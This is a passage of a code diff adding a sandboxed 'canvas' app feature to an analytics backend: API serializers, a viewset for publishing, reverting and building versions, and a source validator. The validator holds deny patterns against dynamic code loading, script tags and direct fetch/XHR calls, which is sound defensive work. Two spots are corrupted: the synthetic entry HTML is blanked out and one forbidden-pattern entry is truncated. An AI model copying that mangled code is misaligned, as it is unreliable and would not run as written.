"invalid_source_project".') + diagnostics = CanvasDiagnosticSerializer( + many=True, + help_text="The validation diagnostics, including at least one error.", + ) + + +class CanvasArtifactAssetSerializer(serializers.Serializer): + """One emitted file of a built canvas artifact.""" + + path = serializers.CharField(help_text="Artifact-relative path of the emitted file.") + contentHash = serializers.CharField(help_text="Hex SHA-256 of the file content.") + sizeBytes = serializers.IntegerField(help_text="Size of the file in bytes.") + + +class CanvasArtifactManifestSerializer(serializers.Serializer): + """The manifest frozen into a ready build: entry, assets, versions, capabilities.""" + + entryHtml = serializers.CharField(help_text="The artifact's entry HTML file.") + assets = CanvasArtifactAssetSerializer(many=True, help_text="Every emitted artifact file with its content hash.") + dependencies = serializers.DictField( + child=serializers.CharField(), + help_text="Exact dependency versions the artifact was built against.", + ) + canvasSdkVersion = serializers.CharField(help_text="Version of the `ph` canvas SDK the artifact targets.") + legacyComponentPath = serializers.CharField( + required=False, + allow_null=True, + help_text="Path of the runtime-mounted React component, for legacy-tier artifacts.", + ) + legacyCode = serializers.CharField( + required=False, + allow_null=True, + allow_blank=True, + trim_whitespace=False, + help_text="The runtime-mounted component source, for legacy-tier artifacts.", + ) + capabilities = serializers.DictField( + help_text="Declared PostHog/network capabilities the artifact is held to at runtime.", + ) + + +class CanvasBuildSerializer(serializers.Serializer): + """Lifecycle record of one build of a canvas source version.""" + + id = serializers.UUIDField(help_text="The build's id.") + source_version_id = serializers.UUIDField(help_text="The source version this build compiled.") + build_status = serializers.ChoiceField( + choices=["queued", "building", "ready", "failed"], + source="status", + help_text="Build lifecycle state. A failed build never replaces the last-known-good artifact.", + ) + diagnostics = CanvasDiagnosticSerializer( + many=True, + help_text="Structured diagnostics recorded by the build (errors explain a failed status).", + ) + manifest = CanvasArtifactManifestSerializer( + required=False, + allow_null=True, + help_text="The frozen artifact manifest — present once the build is ready.", + ) + integrity = serializers.CharField( + allow_null=True, + help_text="Hex SHA-256 over the manifest — the artifact's integrity anchor. Null until ready.", + ) + artifact_url = serializers.SerializerMethodField( + help_text="Signed URL for the ready build's entry HTML. Null until ready or when artifact delivery is unavailable.", + ) + pinned = serializers.BooleanField(help_text="Pinned builds are retained for the lifetime of the canvas.") + created_at = serializers.DateTimeField(help_text="When the build was queued.") + finished_at = serializers.DateTimeField(allow_null=True, help_text="When the build reached a terminal state.") + + def get_artifact_url(self, build: Any) -> str | None: + from products.canvas.backend.artifacts import create_canvas_artifact_url # noqa: PLC0415 + + # artifact_object_prefix is cleared by retention once a ready build's + # objects are pruned; the artifact view 404s on it, so don't advertise a + # URL that can't be served. + if ( + build.status != build.STATUS_READY + or not build.artifact_object_prefix + or not isinstance(build.manifest, dict) + ): + return None + entry = build.manifest.get("entryHtml") + if not isinstance(entry, str): + return None + return create_canvas_artifact_url(build, entry) + + +class CanvasBuildsResponseSerializer(serializers.Serializer): + """A canvas's build lifecycle: live pointers plus its most recent builds.""" + + published_build_id = serializers.CharField( + allow_null=True, + help_text="Id of the canvas's live build (the last successful, still-eligible one). Null until a build completes.", + ) + current_version_id = serializers.CharField( + allow_null=True, + help_text="Id of the source version the canvas's head points at.", + ) + builds = CanvasBuildSerializer( + many=True, + help_text="Most recent builds, newest first (capped at 20; the live build is always included).", + ) + + +class CanvasBuildActionSerializer(serializers.Serializer): + action = serializers.ChoiceField(choices=["retry", "pin", "unpin", "cancel"]) + build_id = serializers.UUIDField() + + +class CanvasRevertSerializer(serializers.Serializer): + """Payload for reverting the canvas's head to an existing source version.""" + + version_id = serializers.UUIDField(help_text="Id of the source version to make the head again.") + expected_current_version_id = serializers.UUIDField( + allow_null=True, help_text="Current source version observed before requesting the revert." + ) diff --git a/products/canvas/backend/presentation/views.py b/products/canvas/backend/presentation/views.py new file mode 100644 index 000000000000..11773f6cd002 --- /dev/null +++ b/products/canvas/backend/presentation/views.py @@ -0,0 +1,578 @@ +from typing import Any +from uuid import UUID + +from django.conf import settings +from django.core.exceptions import ValidationError as DjangoValidationError +from django.db import IntegrityError, transaction +from django.db.models import QuerySet +from django.utils import timezone + +from drf_spectacular.types import OpenApiTypes +from drf_spectacular.utils import OpenApiParameter, OpenApiResponse, extend_schema +from rest_framework import status, viewsets +from rest_framework.decorators import action +from rest_framework.request import Request +from rest_framework.response import Response + +from posthog.api.routing import TeamAndOrgViewSetMixin +from posthog.auth import OAuthAccessTokenAuthentication +from posthog.models.user import User +from posthog.storage.object_storage import ObjectStorageError +from posthog.temporal.oauth import SANDBOX_OAUTH_APP_CLIENT_IDS +from posthog.utils import str_to_bool + +from products.canvas.backend import build_service +from products.canvas.backend.models import Canvas, CanvasBuild, CanvasSourceVersion +from products.canvas.backend.presentation.serializers import ( + CanvasBuildActionSerializer, + CanvasBuildSerializer, + CanvasBuildsResponseSerializer, + CanvasCreateSerializer, + CanvasPublishConflictSerializer, + CanvasRevertSerializer, + CanvasSerializer, + CanvasSourceEditSerializer, + CanvasSourceInvalidSerializer, + CanvasSourcePublishResponseSerializer, + CanvasSourcePublishSerializer, + CanvasSourceResponseSerializer, + CanvasSummarySerializer, + CanvasUpdateSerializer, + CanvasValidateRequestSerializer, + CanvasValidateResponseSerializer, + CanvasVersionSerializer, +) +from products.canvas.backend.source import apply_source_edits, has_errors, validate_source_project +from products.tasks.backend.facade import api as tasks_facade + +# The canvas's build lifecycle returns this many recent builds (the published +# build is unioned in even when it has aged past the window). +BUILDS_WINDOW = 20 +# Version-history window for the client's undo/revert browser. +VERSIONS_WINDOW = 100 + + +def _capacity_response() -> Response: + return Response( + {"detail": "Canvas build capacity is temporarily exhausted. Try again shortly."}, + status=status.HTTP_429_TOO_MANY_REQUESTS, + ) + + +def _conflict_response(error: build_service.CanvasVersionConflict) -> Response: + return Response( + { + "detail": "The canvas changed since it was read (a concurrent publish or a revert). " + "Re-fetch the canvas source, re-apply the edits, and publish again.", + "code": "version_conflict", + "current_version_id": error.current_version_id, + }, + status=status.HTTP_409_CONFLICT, + ) + + +def _invalid_response(diagnostics: list[dict[str, Any]]) -> Response: + return Response( + { + "detail": "The source project failed validation; fix the error diagnostics and publish again.", + "code": "invalid_source_project", + "diagnostics": diagnostics, + }, + status=status.HTTP_400_BAD_REQUEST, + ) + + +class CanvasViewSet(TeamAndOrgViewSetMixin, viewsets.ModelViewSet): + """Canvases: agent-built sandboxed browser apps, filed into channels. + + Source is versioned per publish and built server-side; the canvas app + renders the published build's artifact from the isolated artifact origin. + """ + + scope_object = "canvas" + # unscoped() because a class attribute is built before any team context + # exists; safely_get_queryset applies the team filter explicitly. + queryset = Canvas.objects.unscoped().select_related("created_by") + serializer_class = CanvasSerializer + http_method_names = ["get", "post", "patch", "delete", "head", "options"] + scope_object_read_actions = ["list", "retrieve", "source", "versions", "builds", "validate"] + scope_object_write_actions = [ + "create", + "partial_update", + "destroy", + "publish", + "edit", + "revert", + "build_action", + ] + + @extend_schema( + parameters=[ + OpenApiParameter( + "channel", OpenApiTypes.UUID, required=False, description="Only return canvases in this channel." + ), + OpenApiParameter("is_home", bool, required=False, description="Filter by channel-home status."), + ] + ) + def list(self, request: Request, *args: Any, **kwargs: Any) -> Response: + return super().list(request, *args, **kwargs) + + def safely_get_queryset(self, queryset: QuerySet) -> QuerySet: + queryset = queryset.filter(team_id=self.team_id, deleted=False) + # Channels are per-user for the personal kind: the facade's visibility + # rule makes a canvas filed into someone else's personal channel + # invisible (and unwritable) to everyone but its owner, for list and + # every detail action alike. The create() check alone is not enough — + # DRF resolves all detail actions off this queryset. + user = self._request_user() + queryset = queryset.filter(tasks_facade.visible_channels_q(user.id if user else None, relation="channel")) + if self.action == "list": + channel_id = self.request.query_params.get("channel") + if channel_id: + try: + channel_id = str(UUID(channel_id)) + except ValueError: + return queryset.none() + queryset = queryset.filter(channel_id=channel_id) + is_home = self.request.query_params.get("is_home") + if is_home is not None: + queryset = queryset.filter(is_home=str_to_bool(is_home)) + return queryset.order_by("-created_at") + + @extend_schema( + operation_id="canvases_create", + request=CanvasCreateSerializer, + responses={201: CanvasSerializer}, + ) + def create(self, request: Request, *args: Any, **kwargs: Any) -> Response: + """Create a new, empty canvas in a channel; give it source by publishing a project.""" + payload = CanvasCreateSerializer(data=request.data) + payload.is_valid(raise_exception=True) + channel_id = payload.validated_data["channel_id"] + user = self._request_user() + # The facade's visibility rule, not a bare team filter: filing into + # someone else's personal channel must be refused here too. + if not tasks_facade.channel_exists(self.team_id, channel_id, user.id if user else None): + return Response({"detail": "Channel not found in this team."}, status=status.HTTP_400_BAD_REQUEST) + try: + # Savepoint so losing the is_home uniqueness race doesn't poison + # the request's transaction. + with transaction.atomic(): + canvas = Canvas.objects.create( + team_id=self.team_id, + channel_id=channel_id, + name=payload.validated_data["name"], + template_id=payload.validated_data["template_id"], + is_home=payload.validated_data["is_home"], + created_by=user, + # A sandbox-created canvas is its task's deliverable: bind + # the two at birth so the client can show the run on the + # canvas and nest the task under it — composer-initiated + # generations have no client-side create to record it. + generation_task_id=self._sandbox_task_id(request), + ) + except IntegrityError: + return Response( + {"detail": "This channel already has a home canvas.", "code": "home_canvas_exists"}, + status=status.HTTP_409_CONFLICT, + ) + return Response(CanvasSerializer(canvas).data, status=status.HTTP_201_CREATED) + + @extend_schema( + operation_id="canvases_partial_update", + request=CanvasUpdateSerializer, + responses={200: CanvasSerializer}, + ) + def partial_update(self, request: Request, *args: Any, **kwargs: Any) -> Response: + """Update canvas metadata (name, author context, pin, generation-task pointer).""" + canvas = self.get_object() + payload = CanvasUpdateSerializer(data=request.data) + payload.is_valid(raise_exception=True) + data = payload.validated_data + update_fields = ["updated_at"] + if "name" in data: + canvas.name = data["name"] + update_fields.append("name") + if "context" in data: + canvas.context = data["context"] + update_fields.append("context") + if "pinned" in data: + canvas.pinned_at = timezone.now() if data["pinned"] else None + update_fields.append("pinned_at") + if "generation_task_id" in data: + task_id = data["generation_task_id"] + user = self._request_user() + if task_id is not None and ( + user is None or not tasks_facade.task_owned_by_user(task_id, self.team_id, user.id) + ): + return Response({"detail": "Task not found in this team."}, status=status.HTTP_400_BAD_REQUEST) + canvas.generation_task_id = task_id + update_fields.append("generation_task_id") + canvas.save(update_fields=update_fields) + return Response(CanvasSerializer(canvas).data) + + def perform_destroy(self, instance: Canvas) -> None: + instance.deleted = True + instance.save(update_fields=["deleted", "updated_at"]) + + @extend_schema( + operation_id="canvases_source_retrieve", + responses={200: CanvasSourceResponseSerializer}, + request=None, + parameters=[ + OpenApiParameter( + name="version_id", + type=str, + required=False, + description="Read this historical source version instead of the head (for version browsing).", + ) + ], + ) + @action(methods=["GET"], detail=True) + def source(self, request: Request, *args: Any, **kwargs: Any) -> Response: + """Read the canvas's source project and its `current_version_id`. + + Always call this before editing: edit the returned files, then publish + the complete project passing the returned version id as + `expected_current_version_id` so concurrent edits are not overwritten. + `?version_id=` reads a historical version instead of the head. + """ + canvas = self.get_object() + requested_version_id = request.query_params.get("version_id") + try: + if requested_version_id: + version = ( + CanvasSourceVersion.objects.for_team(self.team_id) + .filter(pk=requested_version_id, canvas_id=canvas.id) + .first() + ) + if version is None: + return Response({"detail": "Version not found for this canvas."}, status=status.HTTP_404_NOT_FOUND) + project = build_service.read_source_project(version) + else: + project, _ = build_service.current_source_project(canvas) + except DjangoValidationError: + return Response({"detail": "Version not found for this canvas."}, status=status.HTTP_404_NOT_FOUND) + except ObjectStorageError: + return Response( + {"detail": "The canvas's source is temporarily unavailable."}, + status=status.HTTP_503_SERVICE_UNAVAILABLE, + ) + response = { + "canvas": CanvasSummarySerializer(canvas).data, + "project": project, + "current_version_id": (str(canvas.current_source_version_id) if canvas.current_source_version_id else None), + } + return Response(response) + + @extend_schema( + operation_id="canvases_versions_retrieve", + responses={200: CanvasVersionSerializer(many=True)}, + request=None, + ) + @action(methods=["GET"], detail=True) + def versions(self, request: Request, *args: Any, **kwargs: Any) -> Response: + """The canvas's source-version history, newest first (metadata only).""" + canvas = self.get_object() + versions = canvas.source_versions.select_related("created_by").order_by("-created_at")[:VERSIONS_WINDOW] + page = self.paginate_queryset(versions) + if page is not None: + return self.get_paginated_response(CanvasVersionSerializer(page, many=True).data) + return Response(CanvasVersionSerializer(versions, many=True).data) + + @extend_schema( + operation_id="canvases_validate_create", + request=CanvasValidateRequestSerializer, + responses={200: CanvasValidateResponseSerializer}, + ) + @action(methods=["POST"], detail=True) + def validate(self, request: Request, *args: Any, **kwargs: Any) -> Response: + """Validate a candidate source project without publishing it. Side-effect free.""" + self.get_object() + payload = CanvasValidateRequestSerializer(data=request.data) + payload.is_valid(raise_exception=True) + diagnostics = validate_source_project(payload.validated_data["project"]) + return Response({"valid": not has_errors(diagnostics), "diagnostics": diagnostics}) + + @extend_schema( + operation_id="canvases_publish_create", + request=CanvasSourcePublishSerializer, + responses={ + 200: CanvasSourcePublishResponseSerializer, + 400: OpenApiResponse( + response=CanvasSourceInvalidSerializer, + description="The source project failed validation.", + ), + 409: OpenApiResponse( + response=CanvasPublishConflictSerializer, + description="The canvas moved past expected_current_version_id (a concurrent publish or a revert).", + ), + 429: OpenApiResponse(description="The team's build capacity is exhausted; retry shortly."), + }, + ) + @action(methods=["POST"], detail=True) + def publish(self, request: Request, *args: Any, **kwargs: Any) -> Response: + """Publish a complete source project as the canvas's new head version. + + Validation errors reject the publish (400) and leave the canvas + untouched; a stale `expected_current_version_id` is rejected with 409. + A successful publish queues a server-side build. + """ + canvas = self.get_object() + payload = CanvasSourcePublishSerializer(data=request.data) + payload.is_valid(raise_exception=True) + return self._publish( + request, + canvas, + project=payload.validated_data["project"], + prompt=payload.validated_data.get("prompt"), + name=payload.validated_data.get("name"), + has_expected_version="expected_current_version_id" in payload.validated_data, + expected_version_id=payload.validated_data.get("expected_current_version_id"), + ) + + @extend_schema( + operation_id="canvases_edit_create", + request=CanvasSourceEditSerializer, + responses={ + 200: CanvasSourcePublishResponseSerializer, + 400: OpenApiResponse( + response=CanvasSourceInvalidSerializer, + description="An edit targeted a missing file, or the edited project failed validation.", + ), + 409: OpenApiResponse( + response=CanvasPublishConflictSerializer, + description="The canvas moved past expected_current_version_id (a concurrent publish or a revert).", + ), + 429: OpenApiResponse(description="The team's build capacity is exhausted; retry shortly."), + }, + ) + @action(methods=["POST"], detail=True) + def edit(self, request: Request, *args: Any, **kwargs: Any) -> Response: + """Publish per-file edits against the canvas's current source project. + + Diff-aware alternative to sending the complete project: each operation + sets a file's content or (content null) deletes it, applied to the head + the caller read. `expected_current_version_id` is mandatory here — + relative edits against an unverified base could silently merge into + someone else's newer work. + """ + canvas = self.get_object() + payload = CanvasSourceEditSerializer(data=request.data) + payload.is_valid(raise_exception=True) + + try: + project, _ = build_service.current_source_project(canvas) + except ObjectStorageError: + return Response( + {"detail": "The canvas's source is temporarily unavailable."}, + status=status.HTTP_503_SERVICE_UNAVAILABLE, + ) + project, diagnostics = apply_source_edits(project, payload.validated_data["operations"]) + if diagnostics: + return Response( + { + "detail": "The edit could not be applied to the canvas's current source.", + "code": "invalid_source_project", + "diagnostics": diagnostics, + }, + status=status.HTTP_400_BAD_REQUEST, + ) + + return self._publish( + request, + canvas, + project=project, + prompt=payload.validated_data.get("prompt"), + name=payload.validated_data.get("name"), + has_expected_version=True, + expected_version_id=payload.validated_data["expected_current_version_id"], + ) + + def _publish( + self, + request: Request, + canvas: Canvas, + *, + project: dict[str, Any], + prompt: str | None, + name: str | None, + has_expected_version: bool, + expected_version_id: str | None, + ) -> Response: + diagnostics = validate_source_project(project) + if has_errors(diagnostics): + return _invalid_response(diagnostics) + + user = self._request_user() + task_id = self._sandbox_task_id(request) + try: + canvas, version, _build, first_publish = build_service.publish_source_project( + canvas, + project=project, + prompt=prompt, + name=name, + has_expected_version=has_expected_version, + expected_version_id=expected_version_id, + task_id=task_id, + created_by_id=user.id if user else None, + ) + except build_service.CanvasVersionConflict as conflict: + return _conflict_response(conflict) + except build_service.CanvasBuildCapacityExceeded: + return _capacity_response() + except ObjectStorageError: + return Response( + {"detail": "Canvas source storage is temporarily unavailable; the publish was not saved."}, + status=status.HTTP_503_SERVICE_UNAVAILABLE, + ) + + if first_publish: + self._announce_canvas_created(task_id, user, canvas) + + return Response( + { + "canvas": CanvasSummarySerializer(canvas).data, + "current_version_id": str(version.id), + "diagnostics": diagnostics, + } + ) + + @extend_schema( + operation_id="canvases_revert_create", + request=CanvasRevertSerializer, + responses={ + 200: CanvasBuildSerializer, + 429: OpenApiResponse(description="The team's build capacity is exhausted; retry shortly."), + }, + ) + @action(methods=["POST"], detail=True) + def revert(self, request: Request, *args: Any, **kwargs: Any) -> Response: + """Move the canvas's head back to an existing source version and rebuild it.""" + canvas = self.get_object() + payload = CanvasRevertSerializer(data=request.data) + payload.is_valid(raise_exception=True) + try: + _canvas, build = build_service.revert_to_version( + canvas, + payload.validated_data["version_id"], + payload.validated_data["expected_current_version_id"], + ) + except build_service.CanvasVersionConflict as conflict: + return _conflict_response(conflict) + except build_service.CanvasBuildCapacityExceeded: + return _capacity_response() + except CanvasSourceVersion.DoesNotExist: + return Response({"detail": "Version not found for this canvas."}, status=status.HTTP_404_NOT_FOUND) + return Response(CanvasBuildSerializer(build).data) + + @extend_schema( + operation_id="canvases_builds_retrieve", + responses={200: CanvasBuildsResponseSerializer}, + request=None, + ) + @action(methods=["GET"], detail=True) + def builds(self, request: Request, *args: Any, **kwargs: Any) -> Response: + """Read the canvas's build lifecycle: live pointers plus recent builds. + + A publish queues a build; poll this until it is ready (the live pointer + advances) or failed (fix the error diagnostics and publish again — the + last good build stays live). + """ + canvas = self.get_object() + builds = list(canvas.builds.order_by("-created_at")[:BUILDS_WINDOW]) + # The live build must always be visible, even when newer (e.g. failed) + # builds have pushed it past the window. + if canvas.published_build_id and all(build.id != canvas.published_build_id for build in builds): + published = canvas.builds.filter(id=canvas.published_build_id).first() + if published is not None: + builds.append(published) + response = { + "published_build_id": str(canvas.published_build_id) if canvas.published_build_id else None, + "current_version_id": (str(canvas.current_source_version_id) if canvas.current_source_version_id else None), + "builds": CanvasBuildSerializer(builds, many=True).data, + } + return Response(response) + + @extend_schema( + operation_id="canvases_build_action_create", + request=CanvasBuildActionSerializer, + responses={ + 200: CanvasBuildSerializer, + 429: OpenApiResponse(description="The team's build capacity is exhausted; retry shortly."), + }, + ) + @action(methods=["POST"], detail=True, url_path="builds/action") + def build_action(self, request: Request, *args: Any, **kwargs: Any) -> Response: + """Apply a lifecycle action (retry, pin, unpin, cancel) to one build.""" + canvas = self.get_object() + payload = CanvasBuildActionSerializer(data=request.data) + payload.is_valid(raise_exception=True) + try: + build = build_service.act_on_build( + canvas, payload.validated_data["build_id"], payload.validated_data["action"] + ) + except CanvasBuild.DoesNotExist: + return Response({"detail": "Build not found for this canvas."}, status=status.HTTP_404_NOT_FOUND) + except build_service.CanvasBuildCapacityExceeded: + return _capacity_response() + except ValueError as error: + return Response({"detail": str(error)}, status=status.HTTP_400_BAD_REQUEST) + return Response(CanvasBuildSerializer(build).data) + + def _request_user(self) -> User | None: + """The requesting real user, or None for anonymous/service principals.""" + user = self.request.user + return user if isinstance(user, User) else None + + @staticmethod + def _request_task_id(request: Request) -> UUID | None: + """The publishing task's id, when the sandbox stamped one on the call.""" + raw_task_id = (request.headers.get("X-PostHog-Task-Id") or "").strip() + try: + return UUID(raw_task_id) + except ValueError: + return None + + def _sandbox_task_id(self, request: Request) -> UUID | None: + """The calling task's id when this is a sandbox-stamped MCP call for a + task in this team; None for human/app saves. The task sandbox stamps + every MCP call with an X-PostHog-Task-Id header, but the header alone + is forgeable, so two checks bind it to a real sandbox run: the request + must carry an OAuth token minted under a sandbox app (those tokens are + only created server-side), and the task must have been created by the + requesting user (the sandbox authenticates with the task creator's + credentials).""" + task_id = self._request_task_id(request) + if task_id is None or not self._is_sandbox_authenticated(request): + return None + user = self._request_user() + if user is None or not tasks_facade.task_owned_by_user(task_id, self.team_id, user.id): + return None + return task_id + + def _announce_canvas_created(self, task_id: UUID | None, user: User | None, canvas: Canvas) -> None: + """Announce a canvas's first publish in the generating task's thread. + + ``task_id`` is the sandbox-bound id from ``_sandbox_task_id``; None (a + human or app save) means no announcement. + """ + if task_id is None: + return + tasks_facade.post_canvas_created_thread_update( + task_id, + self.team_id, + acting_user_id=user.id if user else None, + canvas_name=canvas.name or "Canvas", + canvas_url=f"{settings.SITE_URL}/code/canvas/{canvas.channel_id}/{canvas.id}", + ) + + @staticmethod + def _is_sandbox_authenticated(request: Request) -> bool: + """True when the request bears an OAuth token minted under a sandbox app — + the credential a task sandbox (via the MCP server) calls this API with.""" + authenticator = request.successful_authenticator + if not isinstance(authenticator, OAuthAccessTokenAuthentication): + return False + application = authenticator.access_token.application + return application is not None and application.client_id in SANDBOX_OAUTH_APP_CLIENT_IDS diff --git a/products/canvas/backend/routes.py b/products/canvas/backend/routes.py new file mode 100644 index 000000000000..1e98844f8cfa --- /dev/null +++ b/products/canvas/backend/routes.py @@ -0,0 +1,7 @@ +from posthog.api.routing import RouterRegistry + +from products.canvas.backend.presentation import views + + +def register_routes(routers: RouterRegistry) -> None: + routers.projects.register(r"canvases", views.CanvasViewSet, "project_canvases", ["team_id"]) diff --git a/products/canvas/backend/source.py b/products/canvas/backend/source.py new file mode 100644 index 000000000000..bc98be28081a --- /dev/null +++ b/products/canvas/backend/source.py @@ -0,0 +1,394 @@ +"""Canvas source-project validation. + +A canvas source project is the multi-file write format for canvases. This +module validates candidate projects against the platform contract (pinned +dependencies, size limits, runtime safety, declared capabilities) and presents +pre-relational single-file canvases as a synthetic project until their next +real publish. + +Everything here is pure — no I/O beyond the contract manifest, no ORM — so it +can be exercised without a database and shared with the build worker. +""" + +import re +import json +from typing import Any + +from products.canvas.backend.contract import ( + allowed_import_specifiers, + canvas_sdk_version, + contract_limits, + platform_dependencies, +) + +CANVAS_SOURCE_SCHEMA_VERSION = 1 +CANVAS_ENTRY_HTML = "index.html" +# The conventional React entry component (also what the synthetic shell mounts). +CANVAS_COMPONENT_PATH = "src/canvas.tsx" + +# File extensions whose content is scanned as source code. +_CODE_EXTENSIONS = (".ts", ".tsx", ".js", ".jsx") + +# The synthetic entry shell presented for pre-relational canvases whose only +# source is a single stored React component. +SYNTHETIC_INDEX_HTML = """ + + + + + + +
+ + + +""" + +# Matches static module specifiers: `from "spec"` (import-with-bindings and +# export-from) or a bare side-effect `import "spec"`. Regex-based, so a literal +# `from "x"` inside a string can still fool it — the builder parses for real. +_STATIC_IMPORT_RE = re.compile(r"\bfrom\s*[\"']([^\"']+)[\"']|\bimport\s*[\"']([^\"']+)[\"']") + +# Out-of-band code loading the sandbox rejects outright. +_FORBIDDEN_PATTERNS: list[tuple[re.Pattern[str], str, str]] = [ + (re.compile(r"\bimport\s*\("), "forbidden_dynamic_import", "dynamic import() is not allowed"), + (re.compile(r"\brequire\s*\("), "forbidden_require", "require() is not allowed"), + (re.compile(r"\bimportScripts\s*\("), "forbidden_import_scripts", "importScripts() is not allowed"), + (re.compile(r" is not allowed"), +] + +# Direct network calls: the `ph` bridge is the only sanctioned data path. The +# sandbox CSP blocks these at runtime, so surface them as warnings (the regex +# can't tell code from a comment or string). +_NETWORK_PATTERNS: list[tuple[re.Pattern[str], str, str]] = [ + ( + re.compile(r"\bfetch\s*\("), + "network_fetch", + "fetch() is blocked by the canvas sandbox — use the `ph` data bridge instead", + ), + ( + re.compile(r"\bXMLHttpRequest\b"), + "network_xhr", + "XMLHttpRequest is blocked by the canvas sandbox — use the `ph` data bridge instead", + ), +] + +# `ph` bridge calls checked against the project's declared capabilities. The +# host enforces capabilities at runtime, so an undeclared call would build fine +# and then die in view mode — validating here turns that into a diagnostic the +# publishing agent can self-correct on. +_PH_LOAD_INSIGHT_RE = re.compile(r"\bph\s*\.\s*loadInsight\s*\(\s*(?:[\"']([^\"']+)[\"'])?") +_PH_QUERY_RE = re.compile(r"\bph\s*\.\s*query\s*\(") +_PH_CAPTURE_RE = re.compile(r"\bph\s*\.\s*capture\s*\(\s*(?:[\"']([^\"']+)[\"'])?") + +_PATH_SEGMENT_RE = re.compile(r"^[A-Za-z0-9._@-]+$") + + +def diagnostic( + severity: str, code: str, message: str, path: str | None = None, line: int | None = None +) -> dict[str, Any]: + entry: dict[str, Any] = {"severity": severity, "code": code, "message": message} + if path is not None: + entry["path"] = path + if line is not None: + entry["line"] = line + return entry + + +def has_errors(diagnostics: list[dict[str, Any]]) -> bool: + return any(entry["severity"] == "error" for entry in diagnostics) + + +def synthetic_source_project(legacy_code: str | None) -> dict[str, Any]: + """Present a pre-relational single-file canvas as a source project. + + The component file carries the stored source verbatim (empty string for a + canvas that has never been published), and the entry HTML is the fixed + synthetic shell. + """ + return { + "schemaVersion": CANVAS_SOURCE_SCHEMA_VERSION, + "files": { + CANVAS_ENTRY_HTML: SYNTHETIC_INDEX_HTML, + CANVAS_COMPONENT_PATH: legacy_code if isinstance(legacy_code, str) else "", + }, + "entryHtml": CANVAS_ENTRY_HTML, + "dependencies": platform_dependencies(), + "canvasSdkVersion": canvas_sdk_version(), + } + + +def apply_source_edits( + project: dict[str, Any], operations: list[dict[str, Any]] +) -> tuple[dict[str, Any], list[dict[str, Any]]]: + """Apply per-file set/delete operations to a source project. + + Returns the edited project (input untouched) and diagnostics; any + diagnostic means the edit set could not be applied atomically. + """ + project = {**project, "files": dict(project["files"])} + diagnostics: list[dict[str, Any]] = [] + for operation in operations: + path = operation["path"] + content = operation.get("content") + if content is None: + if path not in project["files"]: + diagnostics.append( + diagnostic( + "error", + "edit_target_missing", + f"cannot delete {path} — the project has no file at that path", + path=path, + ) + ) + continue + del project["files"][path] + else: + project["files"][path] = content + return project, diagnostics + + +def validate_relative_path(path: str, *, restrict_charset: bool = True) -> str | None: + """Validate a relative, forward-slash file path; returns the problem or None. + + Source-project paths keep the strict segment charset; artifact paths + (``restrict_charset=False``) only reject control characters. + """ + if path == "" or path.startswith("/") or "\\" in path: + return "file paths must be relative, non-empty, and use forward slashes" + if any(character in path for character in "\r\n\0"): + return "file paths must not contain control characters" + for segment in path.split("/"): + if segment in ("", ".", ".."): + return "file paths must not contain empty, '.', or '..' segments" + if restrict_charset and not _PATH_SEGMENT_RE.match(segment): + return "file path segments may only contain letters, digits, '.', '_', '@', and '-'" + return None + + +def _line_of(code: str, position: int) -> int: + return code.count("\n", 0, position) + 1 + + +def _validate_code_file(path: str, code: str) -> list[dict[str, Any]]: + diagnostics: list[dict[str, Any]] = [] + + for pattern, code_name, message in _FORBIDDEN_PATTERNS: + for match in pattern.finditer(code): + diagnostics.append(diagnostic("error", code_name, message, path=path, line=_line_of(code, match.start()))) + + for pattern, code_name, message in _NETWORK_PATTERNS: + for match in pattern.finditer(code): + diagnostics.append(diagnostic("warning", code_name, message, path=path, line=_line_of(code, match.start()))) + + allowed = allowed_import_specifiers() + for match in _STATIC_IMPORT_RE.finditer(code): + specifier = match.group(1) or match.group(2) + if not specifier or specifier.startswith(("./", "../", "/")): + continue + # Local worker imports carry a ?worker suffix; strip it before checking. + if specifier not in allowed and specifier.removesuffix("?worker") not in allowed: + diagnostics.append( + diagnostic( + "error", + "import_not_allowed", + f'import of module "{specifier}" is not supported — allowed imports: ' + ", ".join(sorted(allowed)), + path=path, + line=_line_of(code, match.start()), + ) + ) + + return diagnostics + + +def _validate_capabilities(path: str, code: str, capabilities: dict[str, Any]) -> list[dict[str, Any]]: + """Check `ph` bridge calls against the project's declared capabilities.""" + diagnostics: list[dict[str, Any]] = [] + posthog_capabilities = capabilities.get("posthog") or {} + declared_insights = set(posthog_capabilities.get("insights") or []) + declared_events = set(posthog_capabilities.get("captureEvents") or []) + inline_queries = bool(posthog_capabilities.get("inlineQueries")) + + for match in _PH_LOAD_INSIGHT_RE.finditer(code): + short_id = match.group(1) + line = _line_of(code, match.start()) + if short_id is not None and short_id not in declared_insights: + diagnostics.append( + diagnostic( + "error", + "capability_missing_insight", + f'ph.loadInsight("{short_id}") requires "{short_id}" in capabilities.posthog.insights — ' + "the host rejects undeclared insights at runtime", + path=path, + line=line, + ) + ) + elif short_id is None and not declared_insights: + diagnostics.append( + diagnostic( + "warning", + "capability_missing_insight", + "ph.loadInsight() is called with a dynamic id but capabilities.posthog.insights is empty — " + "declare every insight short id the canvas loads", + path=path, + line=line, + ) + ) + + if not inline_queries: + query_match = _PH_QUERY_RE.search(code) + if query_match is not None: + diagnostics.append( + diagnostic( + "error", + "capability_missing_inline_queries", + "ph.query() requires capabilities.posthog.inlineQueries: true — " + "the host rejects undeclared inline queries at runtime", + path=path, + line=_line_of(code, query_match.start()), + ) + ) + + for match in _PH_CAPTURE_RE.finditer(code): + event = match.group(1) + line = _line_of(code, match.start()) + if event is not None and event not in declared_events: + diagnostics.append( + diagnostic( + "error", + "capability_missing_capture_event", + f'ph.capture("{event}") requires "{event}" in capabilities.posthog.captureEvents — ' + "the host rejects undeclared events at runtime", + path=path, + line=line, + ) + ) + elif event is None and not declared_events: + diagnostics.append( + diagnostic( + "warning", + "capability_missing_capture_event", + "ph.capture() is called with a dynamic event but capabilities.posthog.captureEvents is empty — " + "declare every event name the canvas captures", + path=path, + line=line, + ) + ) + + return diagnostics + + +def validate_source_project(project: dict[str, Any]) -> list[dict[str, Any]]: + """Validate a candidate source project against the platform contract. + + Returns structured diagnostics; an empty list (or warnings only) means the + project is publishable. Mirrors the build pipeline's stage-1 validation + (schema, paths, file count, total size) plus dependency, runtime-safety, + and capability constraints. The authoritative builder performs + module-graph validation. + """ + diagnostics: list[dict[str, Any]] = [] + limits = contract_limits() + + if project.get("schemaVersion") != CANVAS_SOURCE_SCHEMA_VERSION: + diagnostics.append( + diagnostic( + "error", + "unsupported_schema_version", + f"schemaVersion must be {CANVAS_SOURCE_SCHEMA_VERSION}", + ) + ) + + if project.get("entryHtml") != CANVAS_ENTRY_HTML: + 